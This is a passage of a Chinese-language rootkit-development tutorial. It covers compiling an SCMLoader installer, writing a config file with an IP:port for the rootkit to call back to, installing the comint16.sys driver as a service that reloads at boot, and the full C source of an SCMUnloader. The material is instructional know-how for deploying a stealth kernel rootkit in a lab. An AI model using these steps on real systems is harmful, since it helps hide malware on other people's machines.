在了解内核模式编程之后，是不是觉得这个“用户模式”程序看起来简单多了。因为我们能将驱动程序的位置作为传递参数自由添加，所以就不必为每个新rootkit都重新编译此安装工具了。简单是更重要的，鉴于此，我们将rootkit的名字硬编码进该程序。

　　如果你具有可用的编译环境，你可以打开命令提示符窗口，然后在此窗口中编译SCMLoader。一旦配置好了开发环境,导航至存放SCMLoader.c的目录，键入下列命令就可SCMLoader以开始编译：　　

cl -nologo -W3 -O2 SCMLoader.c /link /NOLOGO user32.lib advapi32.lib

　　如果以上命令未能成功编译SCMLoader.exe，那么你可能需要调整您的开发环境。大多数的开发环境问题可以通过VCVARS32.BAT加以解决。如果在您的C/C++编译程序安装目录(通常位于C:\Program Files)下搜索的话，你会发现一个VCVARS32.BAT文件。这个文件用来配置某个编译程序的命令提示符窗口。如果将该文件复制到你的rootkit目录，并于编译之前执行该文件的话，大部分编译程序的问题都会迎刃而解。

　　如果运行VCVARS32.BAT后问题依旧，或您没有找到该文件，那么您就得逐个查看编译和连接错误来确定问题到底出在哪里。以“Can't find”打头的错误可能牵扯到全局性的LIB和INCLUDE环境变量(例如， “Can’t find xxx.lib = LIB”和“Can ’t find xxx.h=INCLUDE ”。您可以在C/C++编译程序的安装目录中搜寻未找到的文件，一旦发现，修改环境变量(LIB 和INCLUDE )以包含这些文件的所在路径。

　　要修改环境变量，左键单击屏幕左下角的“开始”按钮，然后从弹出菜单中右键单击“我的电脑”，在弹出列表中选取“属性”。在“属性”对话框中，选择“高级”选项卡，然后选择该选项卡中的“环境变量”按钮。你会发现，LIB和INCLUDE这两个变量位于用户变量或者系统变量中。要修改环境变量，双击它，然后加入找到的文件的所在路径。一定记住，所有路径条目都要用分号隔开。添加好所有路径之后，单击“确定”按钮关闭窗口，并保存新设置。要使改变生效，必须将所有已打开的命令提示符窗口关闭，然后再打开方可。成功编译一回后，可以把编译命令放到一个批处理文件中，如buildSCMLoader.bat。

　　经过以上几步后，你也许已经注意到在加载rootkit之前还有一步要做：你必须建立一个配置文件。当然，除了将其藏在一个交换数据流中之外，rootkit根本就没有用到什么配置，但是对于加载来说这一项是必需的。

　　您可以从DOS命令提示符窗口中用命令“echo 123.456.789.012:01234 > c:\config16”来创建所需的配置文件。或者使用您自己IP地址和80端口(例如, 127.000.000.001:00080)为跟踪rootkits做好准备。无论如何，格式必须一致。当前的Invisible还不能处理诸如“127.0.0.1:80”之类的非格式化IP/端口字符串。装载程序编译好，并且建立了配置文件之后，要做的全部就是把该rootkit移至c:\comint16.sys，运行SCMLoader，用命令“net start MyDeviceDriver”启动我们的rootkit。如果一切正常的话，我们会看到输出“Driver loaded!”。若已打开DebugView，你还会看到来自于rootkit即comint16的调试命令。

　　很好!现在，您自己的rootkit已经装入并运行起来了。

　　加载器SCMLoader创建了一个注册表项，从而使您的rootkit会在系统下次引导时再次被加载。幸运的是，rootkit用“按需启动”选项进行初始化，所以它不会立即启动。相反，只有键入“net start MyDeviceDriver ”命令后，该rootkit才会启动。您可以通过删除文件c:\comint16.sys或者通过删除注册表键HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MyDeviceDriver\MyDeviceDriver来停止加载该rootkit。然而，你可能不想每次修改该rootkit之后都要删除文件或者注册表项然后重新引导系统，为此你还需要一个卸载程序。以下代码和对应的编译命令可用于建立一个SCMUnloader。SCMLoader、SCMUnloader程序以及“net start MyDeviceDriver”、“net stop MyDeviceDriver”命令可通用于不同的comint16版本。 另外，要记住的是您可以在读取config16之后将其删除;rootkit将寻找交换数据流SCMUnloader.c　　

//SCMUnloader.c 　　//本程序用于卸载c:\comint16.sys 　　#include 　　#include 　　#include 　　void main( int argc, char *argv[ ] ) 　　{ 　　SC_HANDLE sh1; 　　SC_HANDLE sh2; 　　SERVICE_STATUS ss; 　　sh1 = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); 　　if ( !sh1 ) 　　{ 　　printf( "OpenSCManager Failed!\n" ); 　　return; 　　} 　　sh2 = OpenService(sh1, 　　"MyDeviceDriver", 　　SERVICE_ALL_ACCESS ); 　　if ( !sh2 ) 　　{ 　　printf("OpenService Failed!\n"); 　　CloseServiceHandle( sh1 ); 　　exit(1); 　　} 　　ControlService( sh2, SERVICE_CONTROL_STOP, &ss ); 　　if ( !DeleteService( sh2 ) ) 　　printf("Could not unload MyDeviceDriver!\n"); 　　else 　　printf("Unloaded MyDeviceDriver.\n"); 　　CloseServiceHandle( sh2 ); 　　CloseServiceHandle( sh1 ); 　　}